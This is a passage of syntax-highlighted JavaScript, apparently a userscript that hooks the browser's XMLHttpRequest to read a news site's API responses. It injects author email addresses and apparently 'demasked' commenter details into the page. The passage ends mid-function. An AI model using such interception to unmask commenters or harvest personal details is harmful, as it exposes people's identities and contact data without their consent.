&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="nx">handleLoadedComments&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">edges&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span> &lt;span class="k">else&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">// log(&amp;#34;Could not handle&amp;#34;, content);
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="nx">response&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">};&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">const&lt;/span> &lt;span class="nx">originalOpen&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">XMLHttpRequest&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">prototype&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">open&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">XMLHttpRequest&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">prototype&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">open&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kd">function&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">this&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">addEventListener&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;load&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kd">function&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="k">this&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">readyState&lt;/span> &lt;span class="o">===&lt;/span> &lt;span class="mi">4&lt;/span> &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> &lt;span class="k">this&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">status&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">toString&lt;/span>&lt;span class="p">().&lt;/span>&lt;span class="nx">startsWith&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;2&amp;#34;&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">handleLoadedResource&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="k">this&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">});&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">originalOpen&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">apply&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="k">this&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">arguments&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">};&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">window&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">addEventListener&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;load&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">()&lt;/span> &lt;span class="p">=&amp;gt;&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">document&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">body&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">addEventListener&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;DOMNodeInserted&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">event&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">=&amp;gt;&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">event&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">target&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">nodeName&lt;/span> &lt;span class="o">===&lt;/span> &lt;span class="s2">&amp;#34;#text&amp;#34;&lt;/span> &lt;span class="o">||&lt;/span> &lt;span class="nx">event&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">target&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">tagName&lt;/span> &lt;span class="o">!==&lt;/span> &lt;span class="s2">&amp;#34;DIV&amp;#34;&lt;/span> &lt;span class="o">||&lt;/span> &lt;span class="nx">event&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">target&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">parentNode&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">id&lt;/span> &lt;span class="o">!==&lt;/span> &lt;span class="s1">&amp;#39;coral_thread&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">return&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">pollHandle&lt;/span> &lt;span class="o">===&lt;/span> &lt;span class="kc">null&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">pollHandle&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">setInterval&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">pollShadowRoot&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">100&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">},&lt;/span> &lt;span class="kc">false&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">});&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nx">handleLoadedResource&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">response&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">const&lt;/span> &lt;span class="nx">url&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="k">new&lt;/span> &lt;span class="nx">URL&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">response&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">responseURL&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="sr">/story\/[0-9]+$/&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">test&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">url&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">pathname&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">handleLoadedStory&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">JSON&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">parse&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">response&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">response&lt;/span>&lt;span class="p">));&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nx">handleLoadedStory&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">content&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">const&lt;/span> &lt;span class="nx">authorDetails&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">content&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">author&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">authorDetails&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">length&lt;/span> &lt;span class="o">===&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">return&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">const&lt;/span> &lt;span class="nx">parentElement&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">document&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">querySelector&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;.stuff-box.author-names&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">parentElement&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">replaceChildren&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="kd">let&lt;/span> &lt;span class="nx">author&lt;/span> &lt;span class="k">of&lt;/span> &lt;span class="nx">authorDetails&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">const&lt;/span> &lt;span class="nx">child&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">document&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">createElement&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;p&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">const&lt;/span> &lt;span class="nx">anchor&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">document&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">createElement&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;a&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">anchor&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">href&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="sb">`mailto:&lt;/span>&lt;span class="si">${&lt;/span>&lt;span class="nx">author&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">email&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="sb">`&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">anchor&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">innerText&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="sb">`&lt;/span>&lt;span class="si">${&lt;/span>&lt;span class="nx">author&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">name&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="sb"> (&lt;/span>&lt;span class="si">${&lt;/span>&lt;span class="nx">author&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">email&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="sb">)`&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">child&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">appendChild&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">anchor&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">parentElement&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">appendChild&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">child&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nx">handleLoadedComments&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">edges&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">edges&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">.&lt;/span>&lt;span class="nx">flatMap&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">e&lt;/span> &lt;span class="p">=&amp;gt;&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="nx">e&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">node&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">...&lt;/span>&lt;span class="nx">e&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">node&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">allChildComments&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">edges&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">map&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">x&lt;/span> &lt;span class="p">=&amp;gt;&lt;/span> &lt;span class="nx">x&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">node&lt;/span>&lt;span class="p">)])&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">.&lt;/span>&lt;span class="nx">forEach&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">comment&lt;/span> &lt;span class="p">=&amp;gt;&lt;/span> &lt;span class="nx">comments&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">push&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">comment&lt;/span>&lt;span class="p">));&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">handleCommentsUpdate&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nx">pollShadowRoot&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">commentRoot&lt;/span> &lt;span class="o">!==&lt;/span> &lt;span class="kc">null&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">clearInterval&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">pollHandle&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">pollHandle&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kc">null&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">const&lt;/span> &lt;span class="nx">commentParent&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">document&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">getElementById&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;coral_thread&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">//log(commentParent);
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">commentParent&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">children&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">length&lt;/span> &lt;span class="o">&amp;gt;&lt;/span> &lt;span class="mi">0&lt;/span> &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> &lt;span class="nx">commentParent&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">querySelector&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;div&amp;#34;&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="nx">shadowRoot&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">const&lt;/span> &lt;span class="nx">shadowRoot&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">commentParent&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">querySelector&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;div&amp;#34;&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="nx">shadowRoot&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">log&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">shadowRoot&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">let&lt;/span> &lt;span class="nx">shadowRootPollInterval&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">setInterval&lt;/span>&lt;span class="p">(()&lt;/span> &lt;span class="p">=&amp;gt;&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">commentRoot&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">shadowRoot&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">getElementById&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;coral&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">commentRoot&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">commentRoot&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">addEventListener&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;DOMNodeInserted&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">event&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">=&amp;gt;&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">handleCommentsUpdate&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">});&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">clearInterval&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">shadowRootPollInterval&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">},&lt;/span> &lt;span class="mi">50&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">clearInterval&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">pollHandle&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">pollHandle&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kc">null&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nx">handleCommentsUpdate&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">comments&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">length&lt;/span> &lt;span class="o">===&lt;/span> &lt;span class="mi">0&lt;/span> &lt;span class="o">||&lt;/span> &lt;span class="nx">commentRoot&lt;/span> &lt;span class="o">===&lt;/span> &lt;span class="kc">null&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">return&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">const&lt;/span> &lt;span class="nx">readyComments&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">comments&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">flatMap&lt;/span>&lt;span class="p">((&lt;/span>&lt;span class="nx">comment&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">=&amp;gt;&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">const&lt;/span> &lt;span class="nx">selector&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="sb">`#comment-&lt;/span>&lt;span class="si">${&lt;/span>&lt;span class="nx">comment&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">id&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="sb">:not([demasked])`&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">const&lt;/span> &lt;span class="nx">elements&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[...&lt;/span>&lt;span class="nx">commentRoot&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">querySelectorAll&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">selector&lt;/span>&lt;span class="p">)];&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="o">!&lt;/span>&lt;span class="nx">elements&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">length&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">return&lt;/span> &lt;span class="p">[];&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="nx">elements&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">map&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">element&lt;/span> &lt;span class="p">=&amp;gt;&lt;/span> &lt;span class="p">([&lt;/span>&lt;span class="nx">element&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">comment&lt;/span>&lt;span class="p">]));&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">});&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">readyComments&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">forEach&lt;/span>&lt;span class="p">(([&lt;/span>&lt;span class="nx">element&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">comment&lt;/span>&lt;span class="p">])&lt;/span> &lt;span class="p">=&amp;gt;&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">const&lt;/span> &lt;span class="nx">usernameElement&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">element&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">querySelector&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;div[class^=&amp;#39;Comment-username-&amp;#39;]&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">const&lt;/span> &lt;span class="nx">newChild&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">document&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">createElement&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;div&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">newChild&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">style&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">paddingRight&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;0.5em&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">const&lt;/span> &lt;span class="nx">anchor&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">document&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">createElement&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;a&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
